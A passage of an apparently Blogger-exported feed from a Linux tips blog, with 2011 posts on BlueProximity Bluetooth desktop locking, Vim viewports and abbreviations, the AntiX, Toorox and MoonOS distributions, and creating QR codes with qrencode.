height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-5546001069462299456</id><published>2011-06-07T21:02:00.001+05:30</published><updated>2011-12-03T19:32:28.874+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking/Security Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Utility Software'/><category scheme='http://www.blogger.com/atom/ns#' term='BlueProximity'/><title type='text'>blueproximity : Lock/unlock Desktop using Bluetooth.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;This software helps you add a little more security to your desktop by detecting one of your bluetooth devices, most likely your mobile phone and locks the desktop if the mobile is not in the vicinity. If you move away from your computer and the distance is above a certain level for a given time, it automatically locks your desktop or starts any other shell command that you want.&lt;br /&gt;Once away your computer awaits till you are back with your mobile. If you are nearer than a given level for a set time your computer unlocks magically without any interaction (or starts any other shell command you want).&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;Command to install:&lt;br /&gt;sudo aptitude install blueproximity&lt;br /&gt;&lt;br /&gt;Next you have to configure the Blueproximity options. In lock tab you can add your custom commands. &lt;br /&gt;The upper section refers to the commands that will be executed for the according event. The preset is the command to lock/unlock the screen using the GNOME desktop screensaver. For KDE user you should activate the combobox and select the xscreensaver-command entry. Please note that this will only work with the KDE integrated version of xscreensaver. The original xscreensaver does not include an unlock command.&amp;nbsp; &lt;br /&gt;The proximity command is a command that is executed every given time while the user is in reach &amp;amp; the screen is unlocked. That way you can e.g. prevent your screensaver from becoming active while you are near. &lt;br /&gt;The lower section refers to logging of locking/unlocking events. The syslog entry allows you to generate a syslog message on every state change coming from the given logfacility and the loglevel notice. You may also additionally or exclusively log to a certain file.&lt;br /&gt;But you can turn your monitor off at the time of lock which will save Electricity when you are away from your computer and switch it on when you return. Using Following Commands to lock&amp;amp;turn off and “unlock &amp;amp; turn On the monitor&lt;br /&gt;Locking Command: gnome-screensaver-command -l &amp;amp;&amp;amp; xset dpms force off&lt;br /&gt;Unlocking command: xset dpms force on &amp;amp;&amp;amp; gnome-screensaver-command -d&lt;br /&gt;And with this you have finished the basic setup of blueproximity.&lt;br /&gt;&lt;br /&gt;Read more here:&lt;br /&gt;&lt;a href="http://blueproximity.sourceforge.net/manual.html"&gt;http://blueproximity.sourceforge.net/manual.html&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-5546001069462299456?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/5546001069462299456/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2011/06/blueproximity-lockunlock-desktop-using.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/5546001069462299456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/5546001069462299456'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2011/06/blueproximity-lockunlock-desktop-using.html' title='blueproximity : Lock/unlock Desktop using Bluetooth.'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-5903679654397784803</id><published>2011-06-05T13:53:00.001+05:30</published><updated>2011-06-05T14:15:09.216+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vim Editor'/><category scheme='http://www.blogger.com/atom/ns#' term='Utility Software'/><title type='text'>Understanding VIM : [Viewpoints] Tutorial-4</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Using viewpoints &amp;amp; tabs (introduced in vim 7), we can edit more than one file at a time. This is useful when you are connected with a remote machine &amp;amp; you prefer to open only one session. It's also useful when we want to edit a long file at different lines.&lt;br /&gt;Viewpoints breaks the vim editor into two or more segments, either vertically or horizontally. Open a vi editor &amp;amp; then go to last line command, enter :split. You can now see two views of the same file. &lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;In case, you want to open another file in a new viewpoint, you can do it by :sp [filename], if you don't provide any filename, then the editor will open the same file in another viewpoint, so now you have 3 viewpoints. You may want a new empty viewpoint for doing some rough work &amp;amp; then adding it&amp;nbsp; in original file, try :new. At this stage if you want to go back to 2 viewpoints just do :q &amp;amp; you are back.&amp;nbsp; Now, try editing different parts of the same file, press Ctrl-w to switch in between different viewpoint, you can run Ctrl-w k to move to the upper viewport, and Ctrl-w j to move down. &lt;br /&gt;If, instead of moving between viewports, you want to move the viewports, you can use Ctrl-w r and Ctrl-w R to rotate windows clockwise and counter-clockwise, respectively.&lt;br /&gt;If you want to return to a single view, you can close the view by quitting the file normally (:q) or by running Ctrl-w c in the viewport you want to close. You'll be prompted to save the file first.&lt;br /&gt;Quick review.&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;:split or Ctrl-w s will split the Vim view into two viewports, horizontally.&lt;/li&gt;&lt;li&gt;:vsplit or Ctrl-w v will split the Vim view into two viewports, vertically.&lt;/li&gt;&lt;li&gt;:split filename will split the Vim view into two viewports, horizontally,&amp;nbsp; and open filename in the new viewport.&lt;/li&gt;&lt;li&gt;:vsplit filename will split the Vim view into two viewports, vertically, and&amp;nbsp;&amp;nbsp; open filename in the new viewport.&lt;/li&gt;&lt;li&gt;:new open new empty viewpoint.&lt;/li&gt;&lt;li&gt;:sp[lit] [filename] open new viewpoint in new file.&lt;/li&gt;&lt;li&gt;:qall! quit all viewpoints. &lt;/li&gt;&lt;li&gt;Ctrl-w to rotate between views.&lt;/li&gt;&lt;li&gt;Ctrl-w k to move to upper view.&lt;/li&gt;&lt;li&gt;Ctrl-w j to move down.&lt;/li&gt;&lt;li&gt;Ctrl-w r moves viewports clockwise.&lt;/li&gt;&lt;li&gt;Ctrl-w R moves viewports counter-clockwise.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-5903679654397784803?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/5903679654397784803/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2011/06/understanding-vim-viewpoints-tutorial-4.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/5903679654397784803'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/5903679654397784803'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2011/06/understanding-vim-viewpoints-tutorial-4.html' title='Understanding VIM : [Viewpoints] Tutorial-4'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-8346816474348614816</id><published>2011-05-03T22:55:00.001+05:30</published><updated>2011-05-03T23:01:38.793+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='AntiX'/><category scheme='http://www.blogger.com/atom/ns#' term='Outstanding Linux Distros'/><title type='text'>Extremely Lightweight Linux : AntiX</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;AntiX is a fast, lightweight and easy to install linux live CD distribution which provides suitable information for old computers. It is based on &lt;a class="external text" href="http://www.debian.org/devel/testing" rel="nofollow"&gt;Debian Testing&lt;/a&gt; and &lt;a class="external text" href="http://www.mepis.org/" rel="nofollow"&gt;MEPIS&lt;/a&gt; for Intel-AMD x86 compatible systems.  It should run on most computers, ranging from 64MB old PII 266 systems with pre-configured 128MB swap to  the latest powerful boxes. 128MB RAM is recommended minimum for antiX.  The installer needs minimum 2.2GB hard disk size. antiX can also be used as a fast-booting rescue cd. 128 MB RAM is the recommended minimum for antiX while the installer  needs a minimum of 1.2 GB hard disk space. antiX can also be used as a  fast-booting rescue CD.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;Many cli apps are also included such as Alpine for email, moc for audio,  elinks for browsing, abcde and ripit for cd ripping and much more.  Features include a cli-installer script for fast and light install, live  with persistence, 'remaster on the fly', new boot cheatcodes for  setting dpi and desktop windows manager with or without icons, antix2usb  to easily install to usb stick.Many languages are fully supported out of the box with the language  chosen at live CD boot carrying over to install. Chinese, Japanese and  Korean fonts are included as well as ibus in the full version.&lt;br /&gt;&lt;br /&gt;Full Release notes for 'Jayaben Desai' (antiX-M11) &lt;br /&gt;Main upgrades from 'Marek Edelman' (antiX-M8.5) &lt;br /&gt;&lt;ul&gt;&lt;li&gt; New antiX tools to configure system, user management, wallpaper and PC information. &lt;/li&gt;&lt;li&gt; MEPIS 2.6.36-4 kernel &lt;/li&gt;&lt;li&gt; Improved antiX-Control Centre, new options. &lt;/li&gt;&lt;li&gt; New icewm/fluxbox menu structure &lt;/li&gt;&lt;li&gt; Improved and extended themes and artwork for icewm and fluxbox &lt;/li&gt;&lt;li&gt; Localisation of antiX apps extended &lt;/li&gt;&lt;li&gt; Chinese, Japanese and Korean fonts included in antiX-full, as well as ibus. &lt;/li&gt;&lt;li&gt; meta-installer to install kde4, xfce, lxde, gnome and lite versions. LibreOffice available too. &lt;/li&gt;&lt;li&gt; wallpaper is now set by feh and nitrogen is removed. &lt;/li&gt;&lt;li&gt; Thunar replaces pcmanfm &lt;/li&gt;&lt;li&gt; xfburn replaces gnomebaker &lt;/li&gt;&lt;li&gt; no /etc/X11/xorg.conf file is created by default, option to create one by removing the noxorg cheat at boot. &lt;/li&gt;&lt;li&gt; umt-panel2 (from aptosid) added for GPRS/UMTS/3G &lt;/li&gt;&lt;li&gt; vim added by request &lt;/li&gt;&lt;li&gt; isolinux used instead of grub in live mode &lt;/li&gt;&lt;li&gt; hybridiso &lt;/li&gt;&lt;li&gt; adblock added to improve internet surfing with low RAM. &lt;/li&gt;&lt;li&gt; X.org 7.5 &lt;/li&gt;&lt;li&gt; Rox-filer 2.10 &lt;/li&gt;&lt;li&gt; fluxbox 1.3.1 &lt;/li&gt;&lt;li&gt; wicd 1.7 with wicd-ncurses added &lt;/li&gt;&lt;li&gt; pidgin 2.7.11 &lt;/li&gt;&lt;li&gt; ceni 2.21 &lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-8346816474348614816?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/8346816474348614816/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2011/05/extremely-lightweight-linux-antix.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/8346816474348614816'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/8346816474348614816'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2011/05/extremely-lightweight-linux-antix.html' title='Extremely Lightweight Linux : AntiX'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-3781946572804264676</id><published>2011-04-26T21:37:00.001+05:30</published><updated>2011-04-26T21:40:21.791+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Outstanding Linux Distros'/><category scheme='http://www.blogger.com/atom/ns#' term='Toorox'/><title type='text'>Toorox Review</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Toorox is a Linux Live-DVD based on Gentoo which uses KNOPPIX technology in booting. While booting, all necessary drivers will be included automatically (lshwd). It comes with lots of useful applications including system configuration tools, easy package management, and proprietary code installers. It compiles and install software from Gentoo sources. Toorox installation on your computer begin as a binary installation with all its advantages, such as fast, easy, and ready at boot, but subsequent package installation compiles source packages. &lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;Toorox lists some of their software in an introduction that appears when the desktop starts. These include:&lt;br /&gt;- Kernel 2.6.37-gentoo&lt;br /&gt;- KDE 4.6.0&lt;br /&gt;- Xorg-Server 1.9.4&lt;br /&gt;- LibreOffice 3.3.1&lt;br /&gt;- IceCat 3.6.13&lt;br /&gt;- Thunderbird 3.1.7&lt;br /&gt;- K3b 2.0.2&lt;br /&gt;- Gimp 2.6.11&lt;br /&gt;- Wine 1.3.14&lt;br /&gt;- VLC 1.1.7&lt;br /&gt;- Amarok 2.4.0&lt;br /&gt;- Audacious 2.4.3&lt;br /&gt;- Ardour 2.8.7&lt;br /&gt;- Kino 1.3.3&lt;br /&gt;- Cinelerra 20101104&lt;br /&gt;&lt;br /&gt;Toorox includes two graphical Portage front-ends: Potato and Porthole.&lt;br /&gt;Minimum equipment:&lt;br /&gt;i686 CPU (Pentium II and faster) + 512MB RAM + DVD&lt;br /&gt;Optimum equipment:&lt;br /&gt;Multi-Core CPU + 1GB RAM + DVD&lt;br /&gt;&lt;br /&gt;Toorox linux can be used for the following jobs:&lt;br /&gt;- Backup data&lt;br /&gt;- Secure internet browsing&lt;br /&gt;- Look and feel for Linux rookies&lt;br /&gt;- Hard disk installation&lt;br /&gt;- Making a Live USB-Pendrive &lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;a href="http://toorox.de/index.php"&gt;http://toorox.de/index.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-3781946572804264676?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/3781946572804264676/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2011/04/toorox-review.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/3781946572804264676'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/3781946572804264676'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2011/04/toorox-review.html' title='Toorox Review'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-3841675981191831830</id><published>2011-04-20T16:59:00.014+05:30</published><updated>2011-04-23T17:21:19.133+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Outstanding Linux Distros'/><category scheme='http://www.blogger.com/atom/ns#' term='MoonOS'/><title type='text'>MoonOS - A feel of Mac OS X in Linux</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-IxbsRDrLf8w/TbK738ZJ9WI/AAAAAAAAANs/dTP9Mfrxiys/s1600/%255BUNSET%255D.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="163" src="http://2.bp.blogspot.com/-IxbsRDrLf8w/TbK738ZJ9WI/AAAAAAAAANs/dTP9Mfrxiys/s200/%255BUNSET%255D.png" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;MoonOS is a lightweight Linux distribution which uses the Enlightenment window manager and is based on Ubuntu/Debian, having a touch of the Mac's OS X.&lt;br /&gt;According to MoonOS' official website, the focus of Moon is speed, low memory use, and attractive looks:&lt;br /&gt;MoonOS' download is sizable, weighing in at 832MB, but the system requirements are very basic:&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;700 MHz x86 processor&lt;/li&gt;&lt;li&gt;384 MB of system memory (RAM)&lt;/li&gt;&lt;li&gt;8 GB of disk space&lt;/li&gt;&lt;li&gt;Graphics card capable of 1024x768 resolution&lt;/li&gt;&lt;li&gt;A network or Internet connection is neededif you want to download extra software&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: left;"&gt;The dock of MoonOS is quite similar to the OS X version, it still possesses all the customization that Linux users have come to expect. This includes:&amp;nbsp;&lt;/div&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;positioning the dock on the top, sides, and bottom;&amp;nbsp;&lt;/li&gt;&lt;li&gt;controlling the size of the icons' magnification when they are moused over;&amp;nbsp;&lt;/li&gt;&lt;li&gt;the color and appearance of the dock, such as 2-D or 3-D;&amp;nbsp;&lt;/li&gt;&lt;li&gt;and even creating more than one Docky.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: left;"&gt;&amp;nbsp;There are 2 well known versions of MoonOS:&lt;/div&gt;&lt;div style="text-align: left;"&gt;moonOS E17 Edition &amp;amp; moonOS LXDE Edition&lt;br /&gt;moonOS E17 Edition use Enlightenment DR17 as its default window manager. moonOS LXDE Edition use LXDE as its default window manager. Its fast and lightweight, good for older/smaller computers. moonOS LXDE Edition replaces GRUB with, moonOS toolset and more&lt;br /&gt;Applications included are:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * OpenOffice.org, the default office program&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Mozilla Firefox, the default web browser&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Exaile, the default music player&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Transmission, the default BitTorrent application&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * GIMP, the default graphics editor&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Totem Movie Player, the default video player&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Brasero, the default optical disc burning software&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Pidgin, the default instant messaging client&lt;br /&gt;It is believed that moonOS is a fork of Linux Mint because it has a similar user interface as Mint, and Moon's IRC client opens the Mint help channel when launched.&lt;/div&gt;&lt;div style="text-align: left;"&gt; &lt;/div&gt;&lt;div style="text-align: left;"&gt; References:&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;a href="http://moonos.org/"&gt;http://moonos.org&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-3841675981191831830?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/3841675981191831830/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2011/04/moonos-feel-of-mac-os-x-in-linux.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/3841675981191831830'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/3841675981191831830'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2011/04/moonos-feel-of-mac-os-x-in-linux.html' title='MoonOS - A feel of Mac OS X in Linux'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-IxbsRDrLf8w/TbK738ZJ9WI/AAAAAAAAANs/dTP9Mfrxiys/s72-c/%255BUNSET%255D.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-5728158842291634052</id><published>2011-04-10T12:11:00.004+05:30</published><updated>2011-12-03T19:32:28.879+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking/Security Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Vim Editor'/><category scheme='http://www.blogger.com/atom/ns#' term='Utility Software'/><title type='text'>Understanding VIM : Beginner's Tutorial-3</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;In the previous &lt;a href="http://linux-techy.blogspot.com/2011/01/understanding-vim-beginners-tutorial-2.html"&gt;tut.&lt;/a&gt;,&amp;nbsp; we have learned copying/pasting/searching within the file. Now, we are going to take a step further in the direction of Vim editor mastery.&lt;br /&gt;While editing a file, we may need to number the lines with in the file, most probably in case of a program, may be a C program. We can achieve this by this command. (Note that we are in last line mode.)&lt;br /&gt;&lt;pre style="border: 1px inset; height: 10px; margin: 0px; padding: 6px; text-align: left; width: 500px;"&gt;:set number &lt;span style="background-color: #a2c4c9;"&gt;&lt;/span&gt;&lt;/pre&gt;or its abbreviation: &lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 10px; margin: 0px; padding: 6px; text-align: left; width: 500px;"&gt;:set nu &lt;br /&gt;&lt;/pre&gt;&lt;a name='more'&gt;&lt;/a&gt;Lines now appear numbered, upon writing the file, the numbers will not be written in the file. It's only for your viewing. Line numbers are displayed either until you quit the vi session&amp;nbsp; until you disable the set &lt;br /&gt;option:&amp;nbsp; &lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 10px; margin: 0px; padding: 6px; text-align: left; width: 500px;"&gt;:set nonumber &lt;/pre&gt;or&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 10px; margin: 0px; padding: 6px; text-align: left; width: 500px;"&gt;:set nonu &lt;/pre&gt;&lt;br /&gt;To temporarily display the line numbers for a set of lines, you can use the # sign. For example:&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 10px; margin: 0px; padding: 6px; text-align: left; width: 500px;"&gt;:1,10# &lt;/pre&gt;&lt;br /&gt;Longer words that have been used previously, can be searched using, Ctrl-p or Ctrl-n. Let's say you're typing the word searching, which you've already used once in a document. Type "ear" and then hit Ctrl-p, and Vim will either autocomplete the word if "ear" is a unique string, or show a list of words that begin with "ear". The Ctrl-p command searches for "previously" used terms and displays them in that order, and Ctrl-n searches for the "next" terms, and displays in that order. For most uses, they're pretty equivalent.&lt;br /&gt;We can set abbreviation in Vi editor using ab.&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 10px; margin: 0px; padding: 6px; text-align: left; width: 500px;"&gt;:ab hkm hakkunnamatata &lt;/pre&gt;OR&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 10px; margin: 0px; padding: 6px; text-align: left; width: 500px;"&gt;:ab iot Institute of Technology&lt;/pre&gt;&lt;br /&gt;So the first argument is the abbreviation, the second argument to the :ab command is the expansion. Now, when you type the characters hkm (in insert mode) you'll get hakkunnamatata. What happens if you want to unset an abbreviation? You could exit Vim, and the abbreviation will go away when the session ends.&lt;br /&gt;But it sounds like fool's way of doing things. There is another sound way.&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 10px; margin: 0px; padding: 6px; text-align: left; width: 500px;"&gt;:una hkm &lt;/pre&gt;To disable all abbreviation -&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 10px; margin: 0px; padding: 6px; text-align: left; width: 500px;"&gt;:unab abbr&lt;/pre&gt;To list your currently defined abbreviations, type: &lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 10px; margin: 0px; padding: 6px; text-align: left; width: 500px;"&gt;:ab &lt;/pre&gt;&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-5728158842291634052?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/5728158842291634052/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2011/04/understanding-vim-beginners-tutorial-3.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/5728158842291634052'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/5728158842291634052'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2011/04/understanding-vim-beginners-tutorial-3.html' title='Understanding VIM : Beginner&apos;s Tutorial-3'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-7204387461653120210</id><published>2011-04-01T18:21:00.000+05:30</published><updated>2011-04-12T18:59:29.607+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='QR code'/><category scheme='http://www.blogger.com/atom/ns#' term='encryption'/><title type='text'>Install &amp; create QR code.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-QU9sc8ylThg/TaRTIKt_gBI/AAAAAAAAANo/pq2Oqd9XVVM/s1600/img.php.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-QU9sc8ylThg/TaRTIKt_gBI/AAAAAAAAANo/pq2Oqd9XVVM/s1600/img.php.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;QR code stands for Quick Response code which is a 2D bar code, readable by dedicated QR barcode readers and camera phones. The code consists of black modules arranged in a square pattern on a white background.&lt;br /&gt;The information encoded can be text, URL or other data. Read more&lt;a href="http://hacks-tweaks-security.blogspot.com/2011/04/knowing-qr-code.html"&gt; here&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;QR codes can be created in Linux using Qrencode.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;Installing steps for Ubuntu: &lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#sudo apt-get install qrencode&lt;/pre&gt;&lt;br /&gt;You can use dpkg to know more about qrencode after installing it&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#dpkg -s qrencode&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Installing steps for RedHat/Fedora Linux:&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#yum install qrencode&lt;/pre&gt;&lt;br /&gt;Check details of the package.&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#yum info qrencode&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span class="notranslate"&gt;&lt;span class="notranslate"&gt;&lt;span class="notranslate"&gt;You can also download qrencode from &lt;a href="http://megaui.net/fukuchi/works/qrencode/index.en.html"&gt;here&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;After installing, create QR codes through Terminal,&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#qrencode -o [file.png] '[text/url/information to encode]'&lt;br 